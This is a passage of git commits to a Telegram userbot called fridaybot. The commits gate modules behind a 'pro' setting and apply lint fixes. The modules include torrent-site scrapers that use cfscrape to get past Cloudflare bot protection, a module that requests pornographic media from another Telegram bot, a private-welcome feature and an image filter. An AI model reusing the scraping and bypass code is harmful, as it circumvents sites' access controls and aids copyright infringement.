item["length"] + seeds = str(item["seeds"]) + r.append( + { + "title": title, + "hash": t_hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) + return r -def search_torrentz_eu(search_query): - r = [] - url = "https://torrentz2eu.org/searchA?safe=1&f=" + search_query + "" - scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance - raw_html = scraper.get(url).content - # print(raw_html) - soup = bs(raw_html, "html.parser") - results = soup.find_all("div", {"class": "results"}) - # print(results) - if len(results) > 0: - results = results[0] - for item in results.find_all("dl"): - # print(item) - # The content scrapped on 23.06.2018 15:40:35 - dt = item.find_all("dt")[0] - dd = item.find_all("dd")[0] - # - try: - link_and_text = dt.find_all("a")[0] - link = link_and_text.get("href")[1:] - title = link_and_text.get_text() - span_elements = dd.find_all("span") - date = span_elements[1].get_text() - size = span_elements[2].get_text() - seeds = span_elements[3].get_text() - peers = span_elements[4].get_text() + def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2eu.org/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = bs(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + # The content scrapped on 23.06.2018 15:40:35 + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] # - r.append( - { - "title": title, - "hash": link, - "date": date, - "size": size, - "seeds": seeds, - "peers": peers, - } - ) - except BaseException: - pass - return r + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) + except BaseException: + pass + return r CMD_HELP.update( { "torrentsearch": """**Plugin : **`torrentsearch` + + **A PRO PLUGIN.. ONLY FOR PRO's** + • **Syntax : **`.tsearch query` • **Function : **__Fetches torrent links of given query__ • **Syntax : **`.movie idop.se query` From 347a5eb210cb1465787abe0ad772a02d84acc1dc Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:13:26 +0000 Subject: [PATCH 543/838] pylint: auto fixes --- fridaybot/modules/torrentsearch.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/torrentsearch.py b/fridaybot/modules/torrentsearch.py index 2a728489..3ef7902a 100644 --- a/fridaybot/modules/torrentsearch.py +++ b/fridaybot/modules/torrentsearch.py @@ -10,11 +10,11 @@ import requests from bs4 import BeautifulSoup as bs -from fridaybot import CMD_HELP , pro +from fridaybot import CMD_HELP, pro from ..utils import admin_cmd, humanbytes + if pro == True: - def dogbin(magnets): counter = 0 @@ -28,7 +28,6 @@ def dogbin(magnets): counter += 1 return urls - @bot.on(admin_cmd(pattern="tsearch ?(.*)")) async def tor_search(event): if event.fwd_from: @@ -102,7 +101,6 @@ async def tor_search(event): counter += 1 await event.edit(msg, link_preview=False) - @bot.on(admin_cmd(pattern=r"movie (torrentz2\.eu|idop\.se) (.*)")) async def _(event): if event.fwd_from: @@ -147,7 +145,6 @@ async def _(event): parse_mode="html", ) - def search_idop_se(search_query): r = [] url = "https://idope.se/search/{}/".format(search_query) @@ -172,7 +169,6 @@ def search_idop_se(search_query): ) return r - def search_torrentz_eu(search_query): r = [] url = "https://torrentz2eu.org/searchA?safe=1&f=" + search_query + "" From 21f7e7d806f281a5dcddad7fcb430996941cad37 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:45:43 +0530 Subject: [PATCH 544/838] Update xnxx.py --- fridaybot/modules/xnxx.py | 135 +++++++++++++++++++------------------- 1 file changed, 68 insertions(+), 67 deletions(-) diff --git a/fridaybot/modules/xnxx.py b/fridaybot/modules/xnxx.py index c88c43f3..46714b05 100644 --- a/fridaybot/modules/xnxx.py +++ b/fridaybot/modules/xnxx.py @@ -7,78 +7,79 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError from ..utils import admin_cmd +from fridaybot import pro +if pro == True: - -@borg.on(admin_cmd(pattern="xnxx?(.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - await event.get_reply_message() - chat = "@SeXn1bot" - await event.edit("```Checking...```") - async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=264121194) - ) - await event.client.send_message(chat, "💋2016 Videolar🔞{}".format(input_str)) - response = await response - except YouBlockedUserError: - await event.reply("```Unblock @SeXn1bot```") + @borg.on(admin_cmd(pattern="xnxx?(.*)")) + async def _(event): + if event.fwd_from: return - if response.text.startswith("I can't find that"): - await event.edit("😐") - else: - await event.delete() - await event.client.send_file(event.chat_id, response.message) + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "💋2016 Videolar🔞{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) -@borg.on(admin_cmd(pattern="picx?(.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - await event.get_reply_message() - chat = "@SeXn1bot" - await event.edit("```Checking...```") - async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=264121194) - ) - await event.client.send_message(chat, "♨️Old photo👙{}".format(input_str)) - response = await response - except YouBlockedUserError: - await event.reply("```Unblock @SeXn1bot```") + @borg.on(admin_cmd(pattern="picx?(.*)")) + async def _(event): + if event.fwd_from: return - if response.text.startswith("I can't find that"): - await event.edit("😐") - else: - await event.delete() - await event.client.send_file(event.chat_id, response.message) + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "♨️Old photo👙{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) -@borg.on(admin_cmd(pattern="les?(.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - await event.get_reply_message() - chat = "@SeXn1bot" - await event.edit("```Checking...```") - async with event.client.conversation(chat) as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=264121194) - ) - await event.client.send_message(chat, "🔞Uz_sex♨️{}".format(input_str)) - response = await response - except YouBlockedUserError: - await event.reply("```Unblock @SeXn1bot```") + @borg.on(admin_cmd(pattern="les?(.*)")) + async def _(event): + if event.fwd_from: return - if response.text.startswith("I can't find that"): - await event.edit("😐") - else: - await event.delete() - await event.client.send_file(event.chat_id, response.message) + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "🔞Uz_sex♨️{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) From 27b8ee1f3e8ad7ef1ad3370bf38e8f70da575107 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:16:46 +0000 Subject: [PATCH 545/838] pylint: auto fixes --- fridaybot/modules/xnxx.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/xnxx.py b/fridaybot/modules/xnxx.py index 46714b05..3678bfa3 100644 --- a/fridaybot/modules/xnxx.py +++ b/fridaybot/modules/xnxx.py @@ -6,8 +6,10 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from ..utils import admin_cmd from fridaybot import pro + +from ..utils import admin_cmd + if pro == True: @borg.on(admin_cmd(pattern="xnxx?(.*)")) @@ -23,7 +25,9 @@ async def _(event): response = conv.wait_event( events.NewMessage(incoming=True, from_users=264121194) ) - await event.client.send_message(chat, "💋2016 Videolar🔞{}".format(input_str)) + await event.client.send_message( + chat, "💋2016 Videolar🔞{}".format(input_str) + ) response = await response except YouBlockedUserError: await event.reply("```Unblock @SeXn1bot```") @@ -34,7 +38,6 @@ async def _(event): await event.delete() await event.client.send_file(event.chat_id, response.message) - @borg.on(admin_cmd(pattern="picx?(.*)")) async def _(event): if event.fwd_from: @@ -48,7 +51,9 @@ async def _(event): response = conv.wait_event( events.NewMessage(incoming=True, from_users=264121194) ) - await event.client.send_message(chat, "♨️Old photo👙{}".format(input_str)) + await event.client.send_message( + chat, "♨️Old photo👙{}".format(input_str) + ) response = await response except YouBlockedUserError: await event.reply("```Unblock @SeXn1bot```") @@ -59,7 +64,6 @@ async def _(event): await event.delete() await event.client.send_file(event.chat_id, response.message) - @borg.on(admin_cmd(pattern="les?(.*)")) async def _(event): if event.fwd_from: From 8d56a54fe46526d67c2ea9d55aeabc78b2654c68 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:47:23 +0530 Subject: [PATCH 546/838] Update torrentz.py --- fridaybot/modules/torrentz.py | 216 +++++++++++++++++----------------- 1 file changed, 109 insertions(+), 107 deletions(-) diff --git a/fridaybot/modules/torrentz.py b/fridaybot/modules/torrentz.py index eccdc580..5295bfac 100644 --- a/fridaybot/modules/torrentz.py +++ b/fridaybot/modules/torrentz.py @@ -7,117 +7,119 @@ from bs4 import BeautifulSoup from ..utils import admin_cmd, humanbytes +from fridaybot import pro +if pro == True: + - -@borg.on( - admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 -) -async def _(event): - if event.fwd_from: - return - start = datetime.now() - await event.edit("Processing ...") - input_type = event.pattern_match.group(1) - input_str = event.pattern_match.group(2) - search_results = [] - if input_type == "torrentz2.eu": - search_results = search_torrentz_eu(input_str) - elif input_type == "idop.se": - search_results = search_idop_se(input_str) - logger.info(search_results) # pylint:disable=E0602 - output_str = "" - i = 0 - for result in search_results: - if i > 10: - break - message_text = ( - "👉 " - + result["title"] - + ": " - + "" - + " \r\n" - ) - message_text += " FILE SIZE: " + result["size"] + "\r\n" - # message_text += " Uploaded " + result["date"] + "\r\n" - message_text += ( - " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" - ) - message_text += "===\r\n" - output_str += message_text - i = i + 1 - end = datetime.now() - ms = (end - start).seconds - await event.edit( - f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", - link_preview=False, - parse_mode="html", + @borg.on( + admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 ) + async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) # pylint:disable=E0602 + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += ( + " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) + message_text += "===\r\n" + output_str += message_text + i = i + 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html", + ) -def search_idop_se(search_query): - r = [] - url = "https://idope.se/search/{}/".format(search_query) - raw_json = requests.get(url).json() - results = raw_json["result"]["items"] - for item in results: - """The content scrapped on 24.09.2018 22:56:45""" - title = item["name"] - hash = item["info_hash"] - age = item["create_time"] - size = item["length"] - seeds = str(item["seeds"]) - r.append( - { - "title": title, - "hash": hash, - "age": age, - "size": humanbytes(size), - "seeds": seeds, - "peers": "NA", - } - ) - return r + def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + """The content scrapped on 24.09.2018 22:56:45""" + title = item["name"] + hash = item["info_hash"] + age = item["create_time"] + size = item["length"] + seeds = str(item["seeds"]) + r.append( + { + "title": title, + "hash": hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) + return r -def search_torrentz_eu(search_query): - r = [] - url = "https://torrentz2.eu/searchA?safe=1&f=" + search_query + "" - scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance - raw_html = scraper.get(url).content - # print(raw_html) - soup = BeautifulSoup(raw_html, "html.parser") - results = soup.find_all("div", {"class": "results"}) - # print(results) - if len(results) > 0: - results = results[0] - for item in results.find_all("dl"): - # print(item) - """The content scrapped on 23.06.2018 15:40:35""" - dt = item.find_all("dt")[0] - dd = item.find_all("dd")[0] - # - try: - link_and_text = dt.find_all("a")[0] - link = link_and_text.get("href")[1:] - title = link_and_text.get_text() - span_elements = dd.find_all("span") - date = span_elements[1].get_text() - size = span_elements[2].get_text() - seeds = span_elements[3].get_text() - peers = span_elements[4].get_text() + def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2.eu/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = BeautifulSoup(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + """The content scrapped on 23.06.2018 15:40:35""" + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] # - r.append( - { - "title": title, - "hash": link, - "date": date, - "size": size, - "seeds": seeds, - "peers": peers, - } - ) - except: - pass - return r + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) + except: + pass + return r From 1c2005347942c01c2d06f633f3712f1aae1bce0b Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:18:06 +0000 Subject: [PATCH 547/838] pylint: auto fixes --- fridaybot/modules/torrentz.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/torrentz.py b/fridaybot/modules/torrentz.py index 5295bfac..6be0c404 100644 --- a/fridaybot/modules/torrentz.py +++ b/fridaybot/modules/torrentz.py @@ -6,10 +6,11 @@ import requests from bs4 import BeautifulSoup -from ..utils import admin_cmd, humanbytes from fridaybot import pro + +from ..utils import admin_cmd, humanbytes + if pro == True: - @borg.on( admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 @@ -57,7 +58,6 @@ async def _(event): parse_mode="html", ) - def search_idop_se(search_query): r = [] url = "https://idope.se/search/{}/".format(search_query) @@ -82,7 +82,6 @@ def search_idop_se(search_query): ) return r - def search_torrentz_eu(search_query): r = [] url = "https://torrentz2.eu/searchA?safe=1&f=" + search_query + "" From 890ee2124642dd92cbf5e69932d6c5889815e76b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:49:32 +0530 Subject: [PATCH 548/838] Update privatewelcome.py --- fridaybot/modules/privatewelcome.py | 252 ++++++++++++++-------------- 1 file changed, 127 insertions(+), 125 deletions(-) diff --git a/fridaybot/modules/privatewelcome.py b/fridaybot/modules/privatewelcome.py index c055b5ec..b050ab85 100644 --- a/fridaybot/modules/privatewelcome.py +++ b/fridaybot/modules/privatewelcome.py @@ -1,6 +1,6 @@ from telethon import events -from fridaybot import BOTLOG_CHATID, CMD_HELP, bot +from fridaybot import BOTLOG_CHATID, CMD_HELP, bot, pro from ..utils import admin_cmd, edit_or_reply, sudo_cmd from .sql_helper import pmpermit_sql as pmpermit_sql @@ -10,143 +10,145 @@ rmwelcome_setting, ) +if pro == True: -@bot.on(events.ChatAction) -async def _(event): - cws = getcurrent_welcome_settings(event.chat_id) - if ( - cws - and (event.user_joined or event.user_added) - and not (await event.get_user()).bot - ): - a_user = await event.get_user() - chat = await event.get_chat() - me = await bot.get_me() - title = chat.title or "this chat" - participants = await bot.get_participants(chat) - count = len(participants) - mention = "{}".format( - a_user.id, a_user.first_name - ) - my_mention = "{}".format(me.id, me.first_name) - first = a_user.first_name - last = a_user.last_name - fullname = f"{first} {last}" if last else first - username = f"@{a_user.username}" if a_user.username else mention - userid = a_user.id - my_first = me.first_name - my_last = me.last_name - my_fullname = f"{my_first} {my_last}" if my_last else my_first - my_username = f"@{me.username}" if me.username else my_mention - file_media = None - current_saved_welcome_message = None - if cws: - if cws.f_mesg_id: - msg_o = await event.client.get_messages( - entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id) - ) - file_media = msg_o.media - current_saved_welcome_message = msg_o.message - elif cws.reply: - current_saved_welcome_message = cws.reply - if not pmpermit_sql.is_approved(userid): - pmpermit_sql.approve(userid, "Due to private welcome") - current_message = await event.client.send_message( - userid, - current_saved_welcome_message.format( - mention=mention, - title=title, - count=count, - first=first, - last=last, - fullname=fullname, - username=username, - userid=userid, - my_first=my_first, - my_last=my_last, - my_fullname=my_fullname, - my_username=my_username, - my_mention=my_mention, - ), - file=file_media, - parse_mode="html", - ) - - -@bot.on(admin_cmd(pattern=r"savepwel ?(.*)")) -@bot.on(sudo_cmd(pattern=r"savepwel ?(.*)", allow_sudo=True)) -async def save_welcome(event): - if event.fwd_from: - return - msg = await event.get_reply_message() - string = "".join(event.text.split(maxsplit=1)[1:]) - msg_id = None - if msg and msg.media and not string: - if BOTLOG_CHATID: - await bot.send_message( - BOTLOG_CHATID, - f"#WELCOME_NOTE\ - \nCHAT ID: {event.chat_id}\ - \nThe following message is saved as the welcome note for the {event.chat.title}, Dont delete this message !!", + @bot.on(events.ChatAction) + async def _(event): + cws = getcurrent_welcome_settings(event.chat_id) + if ( + cws + and (event.user_joined or event.user_added) + and not (await event.get_user()).bot + ): + a_user = await event.get_user() + chat = await event.get_chat() + me = await bot.get_me() + title = chat.title or "this chat" + participants = await bot.get_participants(chat) + count = len(participants) + mention = "{}".format( + a_user.id, a_user.first_name ) - msg_o = await event.client.forward_messages( - entity=BOTLOG_CHATID, messages=msg, from_peer=event.chat_id, silent=True - ) - msg_id = msg_o.id - else: - await edit_or_reply( - event, - "`Saving media as part of the welcome note requires the BOTLOG_CHATID to be set.`", + my_mention = "{}".format(me.id, me.first_name) + first = a_user.first_name + last = a_user.last_name + fullname = f"{first} {last}" if last else first + username = f"@{a_user.username}" if a_user.username else mention + userid = a_user.id + my_first = me.first_name + my_last = me.last_name + my_fullname = f"{my_first} {my_last}" if my_last else my_first + my_username = f"@{me.username}" if me.username else my_mention + file_media = None + current_saved_welcome_message = None + if cws: + if cws.f_mesg_id: + msg_o = await event.client.get_messages( + entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id) + ) + file_media = msg_o.media + current_saved_welcome_message = msg_o.message + elif cws.reply: + current_saved_welcome_message = cws.reply + if not pmpermit_sql.is_approved(userid): + pmpermit_sql.approve(userid, "Due to private welcome") + current_message = await event.client.send_message( + userid, + current_saved_welcome_message.format( + mention=mention, + title=title, + count=count, + first=first, + last=last, + fullname=fullname, + username=username, + userid=userid, + my_first=my_first, + my_last=my_last, + my_fullname=my_fullname, + my_username=my_username, + my_mention=my_mention, + ), + file=file_media, + parse_mode="html", ) + + + @bot.on(admin_cmd(pattern=r"savepwel ?(.*)")) + @bot.on(sudo_cmd(pattern=r"savepwel ?(.*)", allow_sudo=True)) + async def save_welcome(event): + if event.fwd_from: return - elif event.reply_to_msg_id and not string: - rep_msg = await event.get_reply_message() - string = rep_msg.text - success = "`Welcome note {} for this chat.`" - if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: - return await edit_or_reply(event, success.format("saved")) - rmwelcome_setting(event.chat_id) - if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: - return await edit_or_reply(event, success.format("updated")) - await edit_or_reply("Error while setting welcome in this group") + msg = await event.get_reply_message() + string = "".join(event.text.split(maxsplit=1)[1:]) + msg_id = None + if msg and msg.media and not string: + if BOTLOG_CHATID: + await bot.send_message( + BOTLOG_CHATID, + f"#WELCOME_NOTE\ + \nCHAT ID: {event.chat_id}\ + \nThe following message is saved as the welcome note for the {event.chat.title}, Dont delete this message !!", + ) + msg_o = await event.client.forward_messages( + entity=BOTLOG_CHATID, messages=msg, from_peer=event.chat_id, silent=True + ) + msg_id = msg_o.id + else: + await edit_or_reply( + event, + "`Saving media as part of the welcome note requires the BOTLOG_CHATID to be set.`", + ) + return + elif event.reply_to_msg_id and not string: + rep_msg = await event.get_reply_message() + string = rep_msg.text + success = "`Welcome note {} for this chat.`" + if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: + return await edit_or_reply(event, success.format("saved")) + rmwelcome_setting(event.chat_id) + if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: + return await edit_or_reply(event, success.format("updated")) + await edit_or_reply("Error while setting welcome in this group") -@bot.on(admin_cmd(pattern="clearpwel$")) -@bot.on(sudo_cmd(pattern="clearpwel$", allow_sudo=True)) -async def del_welcome(event): - if event.fwd_from: - return - if rmwelcome_setting(event.chat_id) is True: - await edit_or_reply(event, "`Welcome note deleted for this chat.`") - else: - await edit_or_reply(event, "`Do I have a welcome note here ?`") + @bot.on(admin_cmd(pattern="clearpwel$")) + @bot.on(sudo_cmd(pattern="clearpwel$", allow_sudo=True)) + async def del_welcome(event): + if event.fwd_from: + return + if rmwelcome_setting(event.chat_id) is True: + await edit_or_reply(event, "`Welcome note deleted for this chat.`") + else: + await edit_or_reply(event, "`Do I have a welcome note here ?`") -@bot.on(admin_cmd(pattern="listpwel$")) -@bot.on(sudo_cmd(pattern="listpwel$", allow_sudo=True)) -async def show_welcome(event): - if event.fwd_from: - return - cws = getcurrent_welcome_settings(event.chat_id) - if not cws: - await edit_or_reply(event, "`No pwelcome message saved here.`") - return - if cws.f_mesg_id: - msg_o = await bot.get_messages(entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id)) - await edit_or_reply( - event, "`I am currently pwelcoming new users with this welcome note.`" - ) - await event.reply(msg_o.message, file=msg_o.media) - elif cws.reply: - await edit_or_reply( - event, "`I am currently pwelcoming new users with this welcome note.`" - ) - await event.reply(cws.reply) + @bot.on(admin_cmd(pattern="listpwel$")) + @bot.on(sudo_cmd(pattern="listpwel$", allow_sudo=True)) + async def show_welcome(event): + if event.fwd_from: + return + cws = getcurrent_welcome_settings(event.chat_id) + if not cws: + await edit_or_reply(event, "`No pwelcome message saved here.`") + return + if cws.f_mesg_id: + msg_o = await bot.get_messages(entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id)) + await edit_or_reply( + event, "`I am currently pwelcoming new users with this welcome note.`" + ) + await event.reply(msg_o.message, file=msg_o.media) + elif cws.reply: + await edit_or_reply( + event, "`I am currently pwelcoming new users with this welcome note.`" + ) + await event.reply(cws.reply) CMD_HELP.update( { "privatewelcome": "**Plugin :** `privatewelcome`\ +\n\n A PRO PLUGIN..\ \n\n • **Syntax :** `.savepwel` or reply to a message with .savepwel\ \n • **Function :** Saves the message as a welcome note in the chat.\ \n\n • Available variables for formatting welcome messages :\ From 94c2918462d7c0c8e3cd7871c03ca2cdf0ec2267 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 15:20:20 +0000 Subject: [PATCH 549/838] pylint: auto fixes --- fridaybot/modules/privatewelcome.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fridaybot/modules/privatewelcome.py b/fridaybot/modules/privatewelcome.py index b050ab85..c0b121be 100644 --- a/fridaybot/modules/privatewelcome.py +++ b/fridaybot/modules/privatewelcome.py @@ -73,7 +73,6 @@ async def _(event): parse_mode="html", ) - @bot.on(admin_cmd(pattern=r"savepwel ?(.*)")) @bot.on(sudo_cmd(pattern=r"savepwel ?(.*)", allow_sudo=True)) async def save_welcome(event): @@ -91,7 +90,10 @@ async def save_welcome(event): \nThe following message is saved as the welcome note for the {event.chat.title}, Dont delete this message !!", ) msg_o = await event.client.forward_messages( - entity=BOTLOG_CHATID, messages=msg, from_peer=event.chat_id, silent=True + entity=BOTLOG_CHATID, + messages=msg, + from_peer=event.chat_id, + silent=True, ) msg_id = msg_o.id else: @@ -111,7 +113,6 @@ async def save_welcome(event): return await edit_or_reply(event, success.format("updated")) await edit_or_reply("Error while setting welcome in this group") - @bot.on(admin_cmd(pattern="clearpwel$")) @bot.on(sudo_cmd(pattern="clearpwel$", allow_sudo=True)) async def del_welcome(event): @@ -122,7 +123,6 @@ async def del_welcome(event): else: await edit_or_reply(event, "`Do I have a welcome note here ?`") - @bot.on(admin_cmd(pattern="listpwel$")) @bot.on(sudo_cmd(pattern="listpwel$", allow_sudo=True)) async def show_welcome(event): From 0e86b251719f1738e811085a12f72f332bafb721 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 20:56:21 +0530 Subject: [PATCH 550/838] Update __init__.py --- fridaybot/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index c38405c1..56a7cd33 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -122,7 +122,7 @@ # Default .alive name ALIVE_NAME = os.environ.get("ALIVE_NAME", None) lang = os.environ.get("lang", "si") - + pro = os.environ.get("pro", False) LESS_SPAMMY = os.environ.get("LESS_SPAMMY", True) # Time & Date - Country and Time Zone From acf81660c4a6e76587d483e1ee5a04ac5e839bb3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:02:46 +0530 Subject: [PATCH 551/838] Update deepfryer.py --- fridaybot/modules/deepfryer.py | 45 ++++++++++++---------------------- 1 file changed, 16 insertions(+), 29 deletions(-) diff --git a/fridaybot/modules/deepfryer.py b/fridaybot/modules/deepfryer.py index d7d9c83e..f2a06fa8 100644 --- a/fridaybot/modules/deepfryer.py +++ b/fridaybot/modules/deepfryer.py @@ -31,15 +31,18 @@ import io from random import randint, uniform - +from fridaybot.function import convert_to_image, crop_vid, runcmd +from fridaybot.utils import friday_on_cmd, sudo_cmd from PIL import Image, ImageEnhance, ImageOps from telethon.tl.types import DocumentAttributeFilename from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +import os +sedpath = "./starkgangz/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) - -@friday.on(friday_on_cmd(pattern="deepfry(?: |$)(.*)", outgoing=True)) +@friday.on(friday_on_cmd(pattern="deepfry(?: |$)(.*)")) async def deepfryer(event): try: frycount = int(event.pattern_match.group(1)) @@ -47,37 +50,21 @@ async def deepfryer(event): raise ValueError except ValueError: frycount = 1 - if event.is_reply: - reply_message = await event.get_reply_message() - data = await check_media(reply_message) - - if isinstance(data, bool): - await event.edit("`I can't deep fry that!`") - return + image_s = await convert_to_image(event, borg) else: await event.edit("`Reply to an image or sticker to deep fry it!`") return - - # download last photo (highres) as byte array - await event.edit("`Downloading media…`") - image = io.BytesIO() - await event.client.download_media(data, image) - image = Image.open(image) - - # fry the image - await event.edit("`Deep frying media…`") + image = Image.open(image_s) + await event.edit("`Now, Deep frying media…`") for _ in range(frycount): image = await deepfry(image) - - fried_io = io.BytesIO() - fried_io.name = "image.jpeg" - image.save(fried_io, "JPEG") - fried_io.seek(0) - - await event.reply(file=fried_io) - - + image.save("./starkgangz/fried.png") + file_name = "fried.png" + ok = "./starkgangz/" + file_name + await event.reply(file=ok) + os.remove(ok) + async def deepfry(img: Image) -> Image: colours = ( (randint(50, 200), randint(40, 170), randint(40, 190)), From f0c9d7748205f2379850c216113e3a233cabcf23 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 17:33:47 +0000 Subject: [PATCH 552/838] pylint: auto fixes --- fridaybot/modules/deepfryer.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/deepfryer.py b/fridaybot/modules/deepfryer.py index f2a06fa8..cdfdd03d 100644 --- a/fridaybot/modules/deepfryer.py +++ b/fridaybot/modules/deepfryer.py @@ -29,19 +29,22 @@ # SOFTWARE. """ Userbot module for frying stuff. ported by @NeoMatrix90 """ -import io +import os from random import randint, uniform -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd + from PIL import Image, ImageEnhance, ImageOps from telethon.tl.types import DocumentAttributeFilename from uniborg.util import friday_on_cmd + from fridaybot import CMD_HELP -import os +from fridaybot.function import convert_to_image +from fridaybot.utils import friday_on_cmd + sedpath = "./starkgangz/" if not os.path.isdir(sedpath): os.makedirs(sedpath) + @friday.on(friday_on_cmd(pattern="deepfry(?: |$)(.*)")) async def deepfryer(event): try: @@ -64,7 